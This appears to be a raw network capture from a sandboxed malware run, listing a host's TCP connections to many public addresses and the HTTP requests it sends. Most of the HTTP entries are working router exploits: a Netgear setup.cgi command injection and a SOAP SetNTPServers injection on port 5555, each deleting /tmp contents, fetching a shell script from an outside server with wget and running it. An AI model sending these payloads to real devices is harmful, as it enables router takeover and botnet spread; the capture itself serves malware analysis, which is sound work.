May 16, 2024 16:38:53.378437042 CEST	39040	8080	192.168.2.23	22.15.103.15
May 16, 2024 16:38:53.378448963 CEST	37950	80	192.168.2.23	121.50.47.147
May 16, 2024 16:38:53.378454924 CEST	43732	8080	192.168.2.23	24.160.198.68
May 16, 2024 16:38:53.378465891 CEST	43136	8080	192.168.2.23	203.60.113.51
May 16, 2024 16:38:53.378473997 CEST	51966	8080	192.168.2.23	83.52.52.184
May 16, 2024 16:38:53.378499031 CEST	45870	8080	192.168.2.23	64.175.91.127
May 16, 2024 16:38:53.381793976 CEST	54712	8080	192.168.2.23	121.50.47.147
May 16, 2024 16:38:53.382229090 CEST	35044	80	192.168.2.23	27.193.96.114
May 16, 2024 16:38:53.382939100 CEST	37950	80	192.168.2.23	121.50.47.147
May 16, 2024 16:38:53.383460045 CEST	8080	47858	63.26.144.6	192.168.2.23
May 16, 2024 16:38:53.385133028 CEST	33974	80	192.168.2.23	63.26.144.6
May 16, 2024 16:38:53.385811090 CEST	47858	8080	192.168.2.23	63.26.144.6
May 16, 2024 16:38:53.388259888 CEST	80	35044	27.193.96.114	192.168.2.23
May 16, 2024 16:38:53.389823914 CEST	35044	80	192.168.2.23	27.193.96.114
May 16, 2024 16:38:53.392833948 CEST	35476	80	192.168.2.23	22.15.103.15
May 16, 2024 16:38:53.393096924 CEST	80	37950	121.50.47.147	192.168.2.23
May 16, 2024 16:38:53.393101931 CEST	80	35044	27.193.96.114	192.168.2.23
May 16, 2024 16:38:53.393105030 CEST	80	37950	121.50.47.147	192.168.2.23
May 16, 2024 16:38:53.393109083 CEST	8080	39040	22.15.103.15	192.168.2.23
May 16, 2024 16:38:53.393111944 CEST	8080	43732	24.160.198.68	192.168.2.23
May 16, 2024 16:38:53.393115044 CEST	8080	43136	203.60.113.51	192.168.2.23
May 16, 2024 16:38:53.393119097 CEST	8080	51966	83.52.52.184	192.168.2.23
May 16, 2024 16:38:53.393125057 CEST	8080	45870	64.175.91.127	192.168.2.23
May 16, 2024 16:38:53.393161058 CEST	51066	80	192.168.2.23	64.175.91.127
May 16, 2024 16:38:53.393389940 CEST	42022	80	192.168.2.23	83.52.52.184
May 16, 2024 16:38:53.393790007 CEST	51966	8080	192.168.2.23	83.52.52.184
May 16, 2024 16:38:53.393795013 CEST	43732	8080	192.168.2.23	24.160.198.68
May 16, 2024 16:38:53.393796921 CEST	39040	8080	192.168.2.23	22.15.103.15
May 16, 2024 16:38:53.393804073 CEST	45870	8080	192.168.2.23	64.175.91.127
May 16, 2024 16:38:53.393806934 CEST	43136	8080	192.168.2.23	203.60.113.51
May 16, 2024 16:38:53.394990921 CEST	36694	80	192.168.2.23	203.60.113.51
May 16, 2024 16:38:53.395642996 CEST	57020	80	192.168.2.23	24.160.198.68
May 16, 2024 16:38:53.397861958 CEST	80	33974	63.26.144.6	192.168.2.23
May 16, 2024 16:38:53.397921085 CEST	33974	80	192.168.2.23	63.26.144.6
May 16, 2024 16:38:53.398642063 CEST	33974	80	192.168.2.23	63.26.144.6
May 16, 2024 16:38:53.402693033 CEST	80	35044	27.193.96.114	192.168.2.23
May 16, 2024 16:38:53.402698994 CEST	80	35476	22.15.103.15	192.168.2.23
May 16, 2024 16:38:53.402767897 CEST	35476	80	192.168.2.23	22.15.103.15
May 16, 2024 16:38:53.403410912 CEST	35476	80	192.168.2.23	22.15.103.15
May 16, 2024 16:38:53.408070087 CEST	80	51066	64.175.91.127	192.168.2.23
May 16, 2024 16:38:53.408076048 CEST	80	42022	83.52.52.184	192.168.2.23
May 16, 2024 16:38:53.408081055 CEST	80	36694	203.60.113.51	192.168.2.23
May 16, 2024 16:38:53.408085108 CEST	80	57020	24.160.198.68	192.168.2.23
May 16, 2024 16:38:53.408133030 CEST	51066	80	192.168.2.23	64.175.91.127
May 16, 2024 16:38:53.408152103 CEST	57020	80	192.168.2.23	24.160.198.68
May 16, 2024 16:38:53.408162117 CEST	42022	80	192.168.2.23	83.52.52.184
May 16, 2024 16:38:53.408175945 CEST	36694	80	192.168.2.23	203.60.113.51
May 16, 2024 16:38:53.410060883 CEST	51066	80	192.168.2.23	64.175.91.127
May 16, 2024 16:38:53.410285950 CEST	57020	80	192.168.2.23	24.160.198.68
May 16, 2024 16:38:53.410465956 CEST	42022	80	192.168.2.23	83.52.52.184
May 16, 2024 16:38:53.410681963 CEST	36694	80	192.168.2.23	203.60.113.51
May 16, 2024 16:38:53.412895918 CEST	80	33974	63.26.144.6	192.168.2.23
May 16, 2024 16:38:53.412900925 CEST	80	33974	63.26.144.6	192.168.2.23
May 16, 2024 16:38:53.417687893 CEST	80	35476	22.15.103.15	192.168.2.23
May 16, 2024 16:38:53.417692900 CEST	80	35476	22.15.103.15	192.168.2.23
May 16, 2024 16:38:53.422451019 CEST	80	51066	64.175.91.127	192.168.2.23
May 16, 2024 16:38:53.422458887 CEST	80	57020	24.160.198.68	192.168.2.23
May 16, 2024 16:38:53.422462940 CEST	80	42022	83.52.52.184	192.168.2.23
May 16, 2024 16:38:53.422465086 CEST	80	36694	203.60.113.51	192.168.2.23
May 16, 2024 16:38:53.422468901 CEST	80	51066	64.175.91.127	192.168.2.23
May 16, 2024 16:38:53.422472954 CEST	80	57020	24.160.198.68	192.168.2.23
May 16, 2024 16:38:53.422477961 CEST	80	42022	83.52.52.184	192.168.2.23
May 16, 2024 16:38:53.422481060 CEST	80	36694	203.60.113.51	192.168.2.23
May 16, 2024 16:38:53.606419086 CEST	53926	8080	192.168.2.23	27.193.96.114
May 16, 2024 16:38:53.606669903 CEST	54712	8080	192.168.2.23	121.50.47.147
May 16, 2024 16:38:53.611665964 CEST	8080	53926	27.193.96.114	192.168.2.23
May 16, 2024 16:38:53.611941099 CEST	53926	8080	192.168.2.23	27.193.96.114

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	49912	213.47.195.110	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.277195930 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	37404	17.202.189.141	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.277415991 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	34702	81.134.185.77	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.277920008 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	51984	64.205.122.221	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.278137922 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	40108	178.43.10.146	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.282376051 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	37628	181.188.20.229	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.305816889 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	47404	119.61.39.176	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.306026936 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	44310	45.89.131.53	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.306237936 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	42358	118.235.32.54	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.306428909 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	38650	213.47.195.110	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:49.922528982 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	35044	27.193.96.114	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.382229090 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	37950	121.50.47.147	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.382939100 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	33974	63.26.144.6	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.398642063 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	35476	22.15.103.15	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.403410912 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	51066	64.175.91.127	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.410060883 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	57020	24.160.198.68	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.410285950 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	42022	83.52.52.184	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.410465956 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	36694	203.60.113.51	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:53.410681963 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	33824	27.193.96.114	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:54.131038904 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	33598	115.108.216.165	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.441931963 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	36958	76.137.110.229	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.442271948 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	48018	22.199.169.225	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.443048000 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	37926	2.208.156.16	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.447633028 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	44186	174.250.44.2	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.449481964 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	44736	126.61.238.167	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.453783989 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	54656	2.234.31.143	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.457982063 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	39746	218.137.47.5	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.458323956 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	36554	194.88.230.110	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.458623886 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	44868	176.132.126.200	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:57.461720943 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	42296	200.5.83.123	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:38:58.086170912 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	48866	194.69.245.86	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.467582941 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	59392	83.124.111.176	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.473860025 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	51530	36.80.241.120	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.474040031 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	52788	120.60.53.184	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.474344969 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	58292	28.192.76.236	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.475836992 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	51968	212.227.25.61	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.476001024 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	37344	89.83.16.175	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.480547905 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	54746	132.81.89.39	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.481065035 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	35110	7.133.203.99	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:39:01.481256962 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	49508	73.7.6.245	80

Timestamp	Bytes transferred	Direction	Data
